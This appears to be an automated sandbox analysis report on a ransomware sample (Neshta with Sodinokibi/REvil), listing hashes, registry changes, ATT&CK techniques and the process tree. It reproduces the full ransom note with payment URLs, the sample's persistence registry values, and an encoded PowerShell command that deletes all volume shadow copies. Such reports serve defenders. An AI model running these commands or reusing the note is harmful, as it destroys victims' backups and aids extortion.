neshta | 5ef585d96c5e3b0413a90df2a01b44251f4d5759c2236ae7042f6aa211276c8b

Analysis

max time kernel
148s
max time network
149s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
22-09-2024 00:40

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

f0f02bd33c34570b641fda56f5452f98_JaffaCakes118.exe
Size

247KB
MD5

f0f02bd33c34570b641fda56f5452f98
SHA1

71090aecf0184950c934d323af59f34a2ba58248
SHA256

5ef585d96c5e3b0413a90df2a01b44251f4d5759c2236ae7042f6aa211276c8b
SHA512

3248a2f7299e09e76853645ae4f013eea3c59c67ba9f4b4dbaf68dfa10d75755bc98eb3af5e34e7d03965f400d74734b0084e7353819537b91724bbc68ba2a92
SSDEEP

3072:sr85CIyy2RjLTuVyu7CJDgoMT3QLOoBB2W5LFrb30BRtBZZg+i2QLFrb30BRtBZ5:k9ny2RsQJ8zgLOYBFJ0BXScSJ0BXScv

Score

10^/10

neshta sodinokibi discovery persistence ransomware spyware stealer

Malware Config

Extracted

Path

C:\Users\ly595-readme.txt

Family

sodinokibi

Ransom Note

---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on your system has extension ly595. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practice - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/9C88FA0303690014 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.cc/9C88FA0303690014 Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: 7yOAtRCs5NvmfvSu3w0/Ls3QVFdArN8KFQ6ty3aAb3X0mNEtKHbTnYfHnbPA6eis F3hd4xvIfr0j3TChKVGrJC+YVqK49cc4pOqx7p4uVedcsB38pZzngru+Knm5LDxY 38wruL0K/iaAZwTegEjTkdCzJP18Z2bM0oR8grX0Kx5teXRr+jY/im7JIEIo/pIq q6oDjjZ7ZF73pGEDTGKu3c0kFzJ3G04BCJnfuWJJRJYt8yymfuz92o4xcbBamqsr WxBRA61FvVmX/Tm99dU0I8y7JUuYu2Fkfp5Fo+NhR33ke1uSnuyOMN+2sulQnnWx 8Mitg2AI9dicrJgH7exLZGNvRYebzwKBC/MkHBs235UAzWmZ57e6AUoqzmx4Q8NK 81/np1Dti3/qNgxABNU+skBB8g+VvllKpIpN2G5rqqAma4IhhoJgfEqNDF50hM16 hz/ZMOB9SQeP6NW3R6JQKyK2e2ww8g7XpyyTvIRpg4XboJmueiduCx0uI+LEeLdG gsA8uOSTg3T0yBsItkDnsDOwX5MHj76LAZwweNP/7znag4ITyFmyDAbia/uGxjBg 9koIvwfMVQlSpNrtwx/jANDS07NUkWRwB3Ec9zSd2TtQCa04zzPkTyXmoo5LU4Ak iRslLhg06eQjpbTmjcBCaYLoqdRJDs7BgNuBcfzXj0XMFxbfOaUAZnM7JUd5vps1 5NRy4JXcIDcI5z0eBXtJU50DVdE0+xiKCl/yqFa7iiTZ4H78OinCgM40IsWINonj yBBsjIMqRheNzz/vO7RJiLKdRLgz07U+A19ltvejB7a+THhGcTX72tWYbyHF0aJf oW4Z5qCrUXGjXuu0/U/y/GwLqYm8sroHrs/CMKCVbOwhONVRxC6uDO7jMugsKvYs BwXNzwuQkvHYfc43pLzVShEUpvYvjyBghIcy9mrd0/pR5/F0VFKqhVZPATMN87hO CGidLBK7iJCqR7tKIypRi6UUvi6pTvPQbA3LhhZCQqmkvmDjH3z7KMu8ZvbTdzL5 a7z55DQScaeSesh8nFFYu+SH7vsa++ajoG0x/y6l6G8VaHwfqJnDa8UOAnV2/mMY zgol6dxc5L4kQ9Bq1cw6unz9yPYlYuBOfFKcwNPKf4kZPj61my1Qyon9EhBe0QfS JdVKiTzMWrK8F3EkQAAFnmhR8rHWTyyCBixuMvvuyg5ufP7bNXOfFgfr0jaTNxh6 d3cXcKN3P3cUh1GcTyZPDj7fkEy2KSm8OFlxqzh0jp2yTmybpmNqrUag5kKpPE8x vmuSEaRVCuBh4AnuG21RzKCDWPaf7yInU4YUEOQT+KmLrmLS34WVo6RdC+45f+AB 8ArbKch6eYYf/U2XtKwZWlDOnR9aKPPkSfw3zRIk5QHAyynJ ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damage of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!

URLs

http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/9C88FA0303690014

http://decryptor.cc/9C88FA0303690014

Signatures

Detect Neshta payload 4 IoCs

resource	yara_rule
behavioral2/files/0x000600000002025b-12.dat	family_neshta
behavioral2/memory/4448-592-0x0000000000400000-0x000000000041B000-memory.dmp	family_neshta
behavioral2/memory/4448-593-0x0000000000400000-0x000000000041B000-memory.dmp	family_neshta
behavioral2/memory/4448-595-0x0000000000400000-0x000000000041B000-memory.dmp	family_neshta

Neshta
Malware from the neshta family is designed to infect itself into other files to spread itself and cause damage.
persistence spyware neshta
Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
ransomware sodinokibi

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000\Control Panel\International\Geo\Nation	f0f02bd33c34570b641fda56f5452f98_JaffaCakes118.exe

Executes dropped EXE 1 IoCs

pid	Process
4420	f0f02bd33c34570b641fda56f5452f98_JaffaCakes118.exe

Modifies system executable filetype association 2 TTPs 1 IoCs

persistence

Modify Registry

T1112

Change Default File Association

T1546.001

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\exefile\shell\open\command\ = "C:\\Windows\\svchost.com \"%1\" %*"	f0f02bd33c34570b641fda56f5452f98_JaffaCakes118.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\k51299BQXH = "C:\\Users\\Admin\\AppData\\Local\\Temp\\3582-490\\f0f02bd33c34570b641fda56f5452f98_JaffaCakes118.exe"	f0f02bd33c34570b641fda56f5452f98_JaffaCakes118.exe

Enumerates connected drives 3 TTPs 25 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\A:	f0f02bd33c34570b641fda56f5452f98_JaffaCakes118.exe
File opened (read-only)	\??\K:	f0f02bd33c34570b641fda56f5452f98_JaffaCakes118.exe
File opened (read-only)	\??\M:	f0f02bd33c34570b641fda56f5452f98_JaffaCakes118.exe
File opened (read-only)	\??\Y:	f0f02bd33c34570b641fda56f5452f98_JaffaCakes118.exe
File opened (read-only)	\??\Z:	f0f02bd33c34570b641fda56f5452f98_JaffaCakes118.exe
File opened (read-only)	\??\D:	f0f02bd33c34570b641fda56f5452f98_JaffaCakes118.exe
File opened (read-only)	\??\F:	f0f02bd33c34570b641fda56f5452f98_JaffaCakes118.exe
File opened (read-only)	\??\E:	f0f02bd33c34570b641fda56f5452f98_JaffaCakes118.exe
File opened (read-only)	\??\J:	f0f02bd33c34570b641fda56f5452f98_JaffaCakes118.exe
File opened (read-only)	\??\T:	f0f02bd33c34570b641fda56f5452f98_JaffaCakes118.exe
File opened (read-only)	\??\V:	f0f02bd33c34570b641fda56f5452f98_JaffaCakes118.exe
File opened (read-only)	\??\W:	f0f02bd33c34570b641fda56f5452f98_JaffaCakes118.exe
File opened (read-only)	\??\G:	f0f02bd33c34570b641fda56f5452f98_JaffaCakes118.exe
File opened (read-only)	\??\P:	f0f02bd33c34570b641fda56f5452f98_JaffaCakes118.exe
File opened (read-only)	\??\U:	f0f02bd33c34570b641fda56f5452f98_JaffaCakes118.exe
File opened (read-only)	\??\I:	f0f02bd33c34570b641fda56f5452f98_JaffaCakes118.exe
File opened (read-only)	\??\S:	f0f02bd33c34570b641fda56f5452f98_JaffaCakes118.exe
File opened (read-only)	\??\B:	f0f02bd33c34570b641fda56f5452f98_JaffaCakes118.exe
File opened (read-only)	\??\O:	f0f02bd33c34570b641fda56f5452f98_JaffaCakes118.exe
File opened (read-only)	\??\R:	f0f02bd33c34570b641fda56f5452f98_JaffaCakes118.exe
File opened (read-only)	\??\H:	f0f02bd33c34570b641fda56f5452f98_JaffaCakes118.exe
File opened (read-only)	\??\L:	f0f02bd33c34570b641fda56f5452f98_JaffaCakes118.exe
File opened (read-only)	\??\N:	f0f02bd33c34570b641fda56f5452f98_JaffaCakes118.exe
File opened (read-only)	\??\X:	f0f02bd33c34570b641fda56f5452f98_JaffaCakes118.exe
File opened (read-only)	\??\Q:	f0f02bd33c34570b641fda56f5452f98_JaffaCakes118.exe

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\9z3o.bmp"	f0f02bd33c34570b641fda56f5452f98_JaffaCakes118.exe

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File opened for modification	C:\PROGRA~2\MICROS~1\Edge\APPLIC~1\920902~1.67\msedge.exe	f0f02bd33c34570b641fda56f5452f98_JaffaCakes118.exe
File opened for modification	\??\c:\program files\MeasureShow.dwg	f0f02bd33c34570b641fda56f5452f98_JaffaCakes118.exe
File opened for modification	\??\c:\program files\RequestInvoke.xla	f0f02bd33c34570b641fda56f5452f98_JaffaCakes118.exe
File opened for modification	\??\c:\program files\SubmitExpand.au3	f0f02bd33c34570b641fda56f5452f98_JaffaCakes118.exe
File opened for modification	C:\PROGRA~2\Adobe\ACROBA~1\Reader\ADOBEC~1.EXE	f0f02bd33c34570b641fda56f5452f98_JaffaCakes118.exe
File opened for modification	C:\PROGRA~2\Google\Update\1336~1.371\GOBD5D~1.EXE	f0f02bd33c34570b641fda56f5452f98_JaffaCakes118.exe
File opened for modification	C:\PROGRA~2\INTERN~1\ExtExport.exe	f0f02bd33c34570b641fda56f5452f98_JaffaCakes118.exe
File opened for modification	\??\c:\program files\ResizeProtect.asp	f0f02bd33c34570b641fda56f5452f98_JaffaCakes118.exe
File opened for modification	C:\PROGRA~2\COMMON~1\Adobe\ARM\1.0\AdobeARM.exe	f0f02bd33c34570b641fda56f5452f98_JaffaCakes118.exe
File opened for modification	C:\PROGRA~2\MICROS~1\Edge\APPLIC~1\920902~1.67\NOTIFI~1.EXE	f0f02bd33c34570b641fda56f5452f98_JaffaCakes118.exe
File opened for modification	\??\c:\program files\InstallDisconnect.contact	f0f02bd33c34570b641fda56f5452f98_JaffaCakes118.exe
File opened for modification	C:\PROGRA~2\Adobe\ACROBA~1\Reader\ACROBR~1.EXE	f0f02bd33c34570b641fda56f5452f98_JaffaCakes118.exe
File opened for modification	C:\PROGRA~2\Adobe\ACROBA~1\Reader\Browser\WCCHRO~1\WCCHRO~1.EXE	f0f02bd33c34570b641fda56f5452f98_JaffaCakes118.exe
File opened for modification	C:\PROGRA~2\Google\Update\DISABL~1.EXE	f0f02bd33c34570b641fda56f5452f98_JaffaCakes118.exe
File opened for modification	C:\PROGRA~2\INTERN~1\ieinstal.exe	f0f02bd33c34570b641fda56f5452f98_JaffaCakes118.exe
File opened for modification	C:\PROGRA~2\MICROS~1\Edge\APPLIC~1\920902~1.67\INSTAL~1\setup.exe	f0f02bd33c34570b641fda56f5452f98_JaffaCakes118.exe
File created	\??\c:\program files\ly595-readme.txt	f0f02bd33c34570b641fda56f5452f98_JaffaCakes118.exe
File opened for modification	\??\c:\program files\EditDismount.ini	f0f02bd33c34570b641fda56f5452f98_JaffaCakes118.exe
File opened for modification	C:\PROGRA~2\Adobe\ACROBA~1\Reader\ACROTE~1.EXE	f0f02bd33c34570b641fda56f5452f98_JaffaCakes118.exe
File opened for modification	C:\PROGRA~2\Adobe\ACROBA~1\Reader\READER~1.EXE	f0f02bd33c34570b641fda56f5452f98_JaffaCakes118.exe
File opened for modification	C:\PROGRA~2\COMMON~1\Adobe\ARM\1.0\ADOBEA~1.EXE	f0f02bd33c34570b641fda56f5452f98_JaffaCakes118.exe
File opened for modification	\??\c:\program files\MergeAssert.7z	f0f02bd33c34570b641fda56f5452f98_JaffaCakes118.exe
File opened for modification	\??\c:\program files\UnlockSkip.avi	f0f02bd33c34570b641fda56f5452f98_JaffaCakes118.exe
File opened for modification	\??\c:\program files\SelectRead.scf	f0f02bd33c34570b641fda56f5452f98_JaffaCakes118.exe
File opened for modification	\??\c:\program files\SkipExport.wav	f0f02bd33c34570b641fda56f5452f98_JaffaCakes118.exe
File opened for modification	C:\PROGRA~2\Google\Update\1336~1.371\GOOGLE~2.EXE	f0f02bd33c34570b641fda56f5452f98_JaffaCakes118.exe
File opened for modification	C:\PROGRA~2\MICROS~1\Edge\APPLIC~1\920902~1.67\ELEVAT~1.EXE	f0f02bd33c34570b641fda56f5452f98_JaffaCakes118.exe
File opened for modification	C:\PROGRA~2\MICROS~1\Edge\APPLIC~1\920902~1.67\MSEDGE~1.EXE	f0f02bd33c34570b641fda56f5452f98_JaffaCakes118.exe
File opened for modification	C:\PROGRA~3\PACKAG~1\{63880~1\WINDOW~1.EXE	f0f02bd33c34570b641fda56f5452f98_JaffaCakes118.exe
File opened for modification	\??\c:\program files\ResetSet.m3u	f0f02bd33c34570b641fda56f5452f98_JaffaCakes118.exe
File opened for modification	C:\PROGRA~2\MICROS~1\EDGEUP~1\MicrosoftEdgeUpdate.exe	f0f02bd33c34570b641fda56f5452f98_JaffaCakes118.exe
File opened for modification	C:\PROGRA~2\WINDOW~4\wmplayer.exe	f0f02bd33c34570b641fda56f5452f98_JaffaCakes118.exe
File opened for modification	C:\PROGRA~2\WINDOW~4\wmprph.exe	f0f02bd33c34570b641fda56f5452f98_JaffaCakes118.exe
File opened for modification	C:\PROGRA~2\MICROS~1\Edge\APPLIC~1\MSEDGE~1.EXE	f0f02bd33c34570b641fda56f5452f98_JaffaCakes118.exe
File opened for modification	C:\PROGRA~2\WINDOW~4\wmpconfig.exe	f0f02bd33c34570b641fda56f5452f98_JaffaCakes118.exe
File opened for modification	C:\PROGRA~3\PACKAG~1\{61087~1\VCREDI~1.EXE	f0f02bd33c34570b641fda56f5452f98_JaffaCakes118.exe
File opened for modification	C:\PROGRA~2\WINDOW~3\ACCESS~1\wordpad.exe	f0f02bd33c34570b641fda56f5452f98_JaffaCakes118.exe
File opened for modification	C:\PROGRA~3\PACKAG~1\{D87AE~1\WINDOW~1.EXE	f0f02bd33c34570b641fda56f5452f98_JaffaCakes118.exe
File opened for modification	C:\PROGRA~2\Adobe\ACROBA~1\Reader\plug_ins\PI_BRO~1\32BITM~1.EXE	f0f02bd33c34570b641fda56f5452f98_JaffaCakes118.exe
File opened for modification	C:\PROGRA~2\Adobe\ACROBA~1\Reader\WOW_HE~1.EXE	f0f02bd33c34570b641fda56f5452f98_JaffaCakes118.exe
File opened for modification	C:\PROGRA~2\MICROS~1\Edge\APPLIC~1\920902~1.67\MSEDGE~3.EXE	f0f02bd33c34570b641fda56f5452f98_JaffaCakes118.exe
File opened for modification	C:\PROGRA~2\Adobe\ACROBA~1\Reader\AcroRd32.exe	f0f02bd33c34570b641fda56f5452f98_JaffaCakes118.exe
File opened for modification	C:\PROGRA~2\Google\Update\1336~1.371\GOOGLE~4.EXE	f0f02bd33c34570b641fda56f5452f98_JaffaCakes118.exe
File opened for modification	\??\c:\program files\UnprotectEnter.jfif	f0f02bd33c34570b641fda56f5452f98_JaffaCakes118.exe
File opened for modification	C:\PROGRA~2\Adobe\ACROBA~1\Reader\LOGTRA~1.EXE	f0f02bd33c34570b641fda56f5452f98_JaffaCakes118.exe
File opened for modification	C:\PROGRA~2\WINDOW~4\wmpshare.exe	f0f02bd33c34570b641fda56f5452f98_JaffaCakes118.exe
File opened for modification	\??\c:\program files\SearchTest.fon	f0f02bd33c34570b641fda56f5452f98_JaffaCakes118.exe
File opened for modification	C:\PROGRA~2\COMMON~1\Oracle\Java\javapath\javaw.exe	f0f02bd33c34570b641fda56f5452f98_JaffaCakes118.exe
File opened for modification	C:\PROGRA~2\WINDOW~4\wmlaunch.exe	f0f02bd33c34570b641fda56f5452f98_JaffaCakes118.exe
File opened for modification	\??\c:\program files\CompressExpand.doc	f0f02bd33c34570b641fda56f5452f98_JaffaCakes118.exe
File opened for modification	\??\c:\program files\RestoreJoin.bin	f0f02bd33c34570b641fda56f5452f98_JaffaCakes118.exe
File opened for modification	\??\c:\program files\ShowFormat.au3	f0f02bd33c34570b641fda56f5452f98_JaffaCakes118.exe
File opened for modification	C:\PROGRA~2\Adobe\ACROBA~1\Reader\AcroCEF\RdrCEF.exe	f0f02bd33c34570b641fda56f5452f98_JaffaCakes118.exe
File opened for modification	C:\PROGRA~2\Adobe\ACROBA~1\Reader\ADelRCP.exe	f0f02bd33c34570b641fda56f5452f98_JaffaCakes118.exe
File opened for modification	C:\PROGRA~2\Adobe\ACROBA~1\Reader\arh.exe	f0f02bd33c34570b641fda56f5452f98_JaffaCakes118.exe
File created	\??\c:\program files (x86)\ly595-readme.txt	f0f02bd33c34570b641fda56f5452f98_JaffaCakes118.exe
File opened for modification	\??\c:\program files\SaveDeny.vsd	f0f02bd33c34570b641fda56f5452f98_JaffaCakes118.exe
File opened for modification	C:\PROGRA~2\Google\Update\1336~1.371\GO664E~1.EXE	f0f02bd33c34570b641fda56f5452f98_JaffaCakes118.exe
File opened for modification	C:\PROGRA~2\MICROS~1\Edge\APPLIC~1\920902~1.67\COOKIE~1.EXE	f0f02bd33c34570b641fda56f5452f98_JaffaCakes118.exe
File opened for modification	C:\PROGRA~3\Adobe\Setup\{AC76B~1\setup.exe	f0f02bd33c34570b641fda56f5452f98_JaffaCakes118.exe
File opened for modification	\??\c:\program files\ConvertToEnable.TTS	f0f02bd33c34570b641fda56f5452f98_JaffaCakes118.exe
File opened for modification	\??\c:\program files\ReceiveMove.potx	f0f02bd33c34570b641fda56f5452f98_JaffaCakes118.exe
File opened for modification	\??\c:\program files\UseApprove.rm	f0f02bd33c34570b641fda56f5452f98_JaffaCakes118.exe
File opened for modification	\??\c:\program files\DenyDebug.m1v	f0f02bd33c34570b641fda56f5452f98_JaffaCakes118.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\svchost.com	f0f02bd33c34570b641fda56f5452f98_JaffaCakes118.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	f0f02bd33c34570b641fda56f5452f98_JaffaCakes118.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	f0f02bd33c34570b641fda56f5452f98_JaffaCakes118.exe

Modifies registry class 1 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\exefile\shell\open\command\ = "C:\\Windows\\svchost.com \"%1\" %*"	f0f02bd33c34570b641fda56f5452f98_JaffaCakes118.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
4420	f0f02bd33c34570b641fda56f5452f98_JaffaCakes118.exe
4420	f0f02bd33c34570b641fda56f5452f98_JaffaCakes118.exe
1768	powershell.exe
1768	powershell.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeDebugPrivilege	4420	f0f02bd33c34570b641fda56f5452f98_JaffaCakes118.exe
Token: SeDebugPrivilege	1768	powershell.exe
Token: SeBackupPrivilege	2696	vssvc.exe
Token: SeRestorePrivilege	2696	vssvc.exe
Token: SeAuditPrivilege	2696	vssvc.exe

Suspicious use of WriteProcessMemory 5 IoCs

description	pid	Process	procid_target
PID 4448 wrote to memory of 4420	4448	f0f02bd33c34570b641fda56f5452f98_JaffaCakes118.exe	82
PID 4448 wrote to memory of 4420	4448	f0f02bd33c34570b641fda56f5452f98_JaffaCakes118.exe	82
PID 4448 wrote to memory of 4420	4448	f0f02bd33c34570b641fda56f5452f98_JaffaCakes118.exe	82
PID 4420 wrote to memory of 1768	4420	f0f02bd33c34570b641fda56f5452f98_JaffaCakes118.exe	83
PID 4420 wrote to memory of 1768	4420	f0f02bd33c34570b641fda56f5452f98_JaffaCakes118.exe	83

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\f0f02bd33c34570b641fda56f5452f98_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\f0f02bd33c34570b641fda56f5452f98_JaffaCakes118.exe"
1⤵
- Checks computer location settings
- Modifies system executable filetype association
- Drops file in Program Files directory
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:4448
- C:\Users\Admin\AppData\Local\Temp\3582-490\f0f02bd33c34570b641fda56f5452f98_JaffaCakes118.exe
  "C:\Users\Admin\AppData\Local\Temp\3582-490\f0f02bd33c34570b641fda56f5452f98_JaffaCakes118.exe"
  2⤵
  - Executes dropped EXE
  - Adds Run key to start application
  - Enumerates connected drives
  - Sets desktop wallpaper using registry
  - Drops file in Program Files directory
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4420
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1768

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:4112

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2696

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Event Triggered Execution

T1546

Change Default File Association

T1546.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Event Triggered Execution

T1546

Change Default File Association

T1546.001

Defense Evasion

Modify Registry

T1112

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Defacement

T1491

Replay Monitor

Loading Replay Monitor...

Downloads

C:\PROGRA~2\Adobe\ACROBA~1\Reader\ACROTE~1.EXE

Filesize
86KB

MD5
3b73078a714bf61d1c19ebc3afc0e454

SHA1
9abeabd74613a2f533e2244c9ee6f967188e4e7e

SHA256
ded54d1fcca07b6bff2bc3b9a1131eac29ff1f836e5d7a7c5c325ec5abe96e29

SHA512
75959d4e8a7649c3268b551a2a378e6d27c0bfb03d2422ebeeb67b0a3f78c079473214057518930f2d72773ce79b106fd2d78405e8e3d8883459dcbb49c163c4

Download Submit
C:\Users\Admin\AppData\Local\Temp\3582-490\f0f02bd33c34570b641fda56f5452f98_JaffaCakes118.exe

Filesize
207KB

MD5
92282d13690015ddf3c1f9bc969e7f0b

SHA1
87cbe493d820aaa6dc8e2310d94d54efd419c594

SHA256
da2aa8adfa412f7d0a6a31f9bb67efb4baf7c0d9c1164418272771e3189cd326

SHA512
e59330abec4ed3d9b838f58629731aaf8645285fc51b354b205616eda49fa302c69596262e2abde77d592abb7c1867774d72d27122f3225b039bdbd5920ff015

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_nkxxvr1y.mki.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\ly595-readme.txt

Filesize
6KB

MD5
ef1b69639d971330e6a1b6c7c2f155eb

SHA1
3e048ded9586bfae0ff3d1e1f58709acf99267ec

SHA256
4ffffde5fe6599a2158b53474235e2d3733897cd2f168132ad9ea92a65618437

SHA512
65b60b1f4d8c02f5a64ae6d1b630f10381ac64b4cbef474cd05adc2f80ea11ffb1c4c36ee4213e10a15c710255ded8a90578b3ab776acc61c01415c57036b72a

Download Submit
memory/1768-93-0x00007FFE7E843000-0x00007FFE7E845000-memory.dmp

Filesize
8KB

Download
memory/1768-94-0x00007FFE7E840000-0x00007FFE7F301000-memory.dmp

Filesize
10.8MB

Download
memory/1768-95-0x00007FFE7E840000-0x00007FFE7F301000-memory.dmp

Filesize
10.8MB

Download
memory/1768-101-0x00000264633B0000-0x00000264633D2000-memory.dmp

Filesize
136KB

Download
memory/1768-108-0x00007FFE7E840000-0x00007FFE7F301000-memory.dmp

Filesize
10.8MB

Download
memory/4448-592-0x0000000000400000-0x000000000041B000-memory.dmp

Filesize
108KB

Download
memory/4448-593-0x0000000000400000-0x000000000041B000-memory.dmp

Filesize
108KB

Download
memory/4448-595-0x0000000000400000-0x000000000041B000-memory.dmp

Filesize
108KB

Download